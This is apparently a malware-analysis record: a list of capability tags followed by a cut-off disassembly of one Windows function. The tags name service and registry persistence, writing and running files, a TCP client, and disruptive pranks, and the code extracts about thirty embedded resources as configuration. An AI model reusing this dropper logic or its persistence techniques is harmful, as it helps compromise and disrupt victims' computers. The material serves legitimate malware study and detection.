Function at 0x1314ebe0
Capabilities:
Act as tcp client
Change the wallpaper
Check for unmoving mouse cursor
Check http status code
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create process on windows
Create raw socket
Create tcp socket
Create udp socket
Disable system features via registry on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Hide graphical window
Initialize winsock library
Manipulate cd-rom drive
Persist via default file association registry key
Persist via windows service
Power down monitor
Set registry value
Swap mouse buttons
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x8a
push 0
push 0
dec ecx
jne 0x1314ebe8
push ebx
push esi
push edi
mov eax, 0x1314eb70
call fcn.13145634
xor eax, eax
push ebp
push 0x1315697b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x1315691d
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x13156994
call fcn.13144738
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.1314c4a8
mov eax, dword [ebp - 0x14]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315ae2c], eax
call fcn.1314e92c
lea edx, [ebp - 0x20]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x20]
call fcn.131448ec
push eax
push 1
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae6c
lea eax, [ebp - 0x24]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x24]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x28]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x28]
call fcn.131448ec
push eax
push 2
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae70
lea eax, [ebp - 0x2c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x2c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x30]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x30]
call fcn.131448ec
push eax
push 3
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae74
lea eax, [ebp - 0x34]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x34]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x38]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x38]
call fcn.131448ec
push eax
push 4
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae78
lea eax, [ebp - 0x3c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x3c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x40]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x40]
call fcn.131448ec
push eax
push 5
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae7c
lea eax, [ebp - 0x44]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x44]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x48]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x48]
call fcn.131448ec
push eax
push 6
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae80
lea eax, [ebp - 0x4c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x4c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x50]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x50]
call fcn.131448ec
push eax
push 7
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae84
lea eax, [ebp - 0x54]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x54]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x58]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x58]
call fcn.131448ec
push eax
push 8
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae88
lea eax, [ebp - 0x5c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x5c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x60]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x60]
call fcn.131448ec
push eax
push 9
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae8c
lea eax, [ebp - 0x64]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x64]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x68]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x68]
call fcn.131448ec
push eax
push 0xa
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae90
lea eax, [ebp - 0x6c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x6c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x70]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x70]
call fcn.131448ec
push eax
push 0xb
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae94
lea eax, [ebp - 0x74]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x74]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x78]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x78]
call fcn.131448ec
push eax
push 0xc
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae98
lea eax, [ebp - 0x7c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x7c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x88]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x84]
mov edx, 0x13156994
call fcn.13144738
mov eax, dword [ebp - 0x84]
lea edx, [ebp - 0x80]
call fcn.1314c4a8
mov eax, dword [ebp - 0x80]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315ae2c], eax
call fcn.1314e92c
lea edx, [ebp - 0x8c]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x8c]
call fcn.131448ec
push eax
push 0xd
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae9c
lea eax, [ebp - 0x90]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x90]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x94]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x94]
call fcn.131448ec
push eax
push 0xe
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aea0
lea eax, [ebp - 0x98]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x98]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x9c]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x9c]
call fcn.131448ec
push eax
push 0xf
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aea4
lea eax, [ebp - 0xa0]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xa0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xa4]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xa4]
call fcn.131448ec
push eax
push 0x10
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aea8
lea eax, [ebp - 0xa8]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xa8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xac]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xac]
call fcn.131448ec
push eax
push 0x11
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aeac
lea eax, [ebp - 0xb0]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xb0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xb4]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xb4]
call fcn.131448ec
push eax
push 0x12
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aeb0
lea eax, [ebp - 0xb8]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xb8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xbc]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xbc]
call fcn.131448ec
push eax
push 0x13
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aeb4
lea eax, [ebp - 0xc0]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xc0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xc4]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xc4]
call fcn.131448ec
push eax
push 0x14
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aeb8
lea eax, [ebp - 0xc8]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xc8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xcc]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xcc]
call fcn.131448ec
push eax
push 0x15
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aebc
lea eax, [ebp - 0xd0]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xd0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xd4]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xd4]
call fcn.131448ec
push eax
push 0x16
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aec0
lea eax, [ebp - 0xd8]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xd8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xdc]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xdc]
call fcn.131448ec
push eax
push 0x1a
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aed0
lea eax, [ebp - 0xe0]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xe0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xe4]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xe4]
call fcn.131448ec
push eax
push 0x1b
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aed4
lea eax, [ebp - 0xe8]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xe8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xec]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xec]
call fcn.131448ec
push eax
push 0x1c
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aed8
lea eax, [ebp - 0xf0]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xf0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xf4]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xf4]
call fcn.131448ec
push eax
push 0x1d
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aedc
lea eax, [ebp - 0xf8]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0xf8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0xfc]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0xfc]
call fcn.131448ec
push eax
push 0x1e
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aee0
lea eax, [ebp - 0x100]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x100]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x104]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x104]
call fcn.131448ec
push eax
push 0x20
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aee8
lea eax, [ebp - 0x108]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x108]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x10c]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x10c]
call fcn.131448ec
push eax
push 0x25
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aefc
lea eax, [ebp - 0x110]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x110]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
xor eax, eax
push ebp
push 0x1314fd60
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x114]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x114]
call fcn.131448ec
push eax
push 0x10
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae18
lea eax, [ebp - 0x118]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x118]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314fd6a
call fcn.1314e92c
cmp dword [0x1315ae74], 0
je 0x1314fddc
mov edx, dword [0x1315ae74]
mov eax, 0x131569c4
call fcn.131449d4
test eax, eax
jne 0x1314fdf2
mov edx, dword [0x1315ae74]
mov eax, 0x131569d0
call fcn.131449d4
test eax, eax
jne 0x1314fdf2
mov edx, dword [0x1315ae74]
mov eax, 0x131569dc
call fcn.131449d4
test eax, eax
jne 0x1314fdf2
mov edx, dword [0x1315ae74]
mov eax, 0x131569e8
call fcn.131449d4
test eax, eax
jne 0x1314fdf2
mov edx, dword [0x1315ae74]
mov eax, 0x131569f4
call fcn.131449d4
test eax, eax
jne 0x1314fdf2
mov eax, 0x1315ae74
mov edx, 0x13156a00
call fcn.131446f4
call fcn.1314e92c
jmp 0x1314fe07
mov eax, 0x1315ae74
mov edx, dword [0x1315ae74]
call fcn.131444c0
call fcn.1314e92c
call fcn.1314e92c
cmp dword [0x1315ae78], 0
jne 0x1314fe2b
mov eax, 0x1315ae74
mov edx, 0x13156a10
call fcn.131444c0
call fcn.1314e92c
jmp 0x1314fe40
mov eax, 0x1315ae74
mov edx, dword [0x1315ae74]
call fcn.131444c0
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aeb8]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13150070
xor eax, eax
push ebp
push 0x13150061
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1315ace8
push 0x101
call sub.kernel32.dll_GetTempPathA
call fcn.1314e92c
mov eax, 0x1315ae20
mov edx, 0x1315ace8
mov ecx, 0x101
call fcn.131446c0
call fcn.1314e92c
lea edx, [ebp - 0x124]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x124]
lea eax, [ebp - 0x120]
mov edx, 0x13156994
call fcn.13144738
mov eax, dword [ebp - 0x120]
lea edx, [ebp - 0x11c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x11c]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315ae2c], eax
call fcn.1314e92c
push 0x13156a28
push 1
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
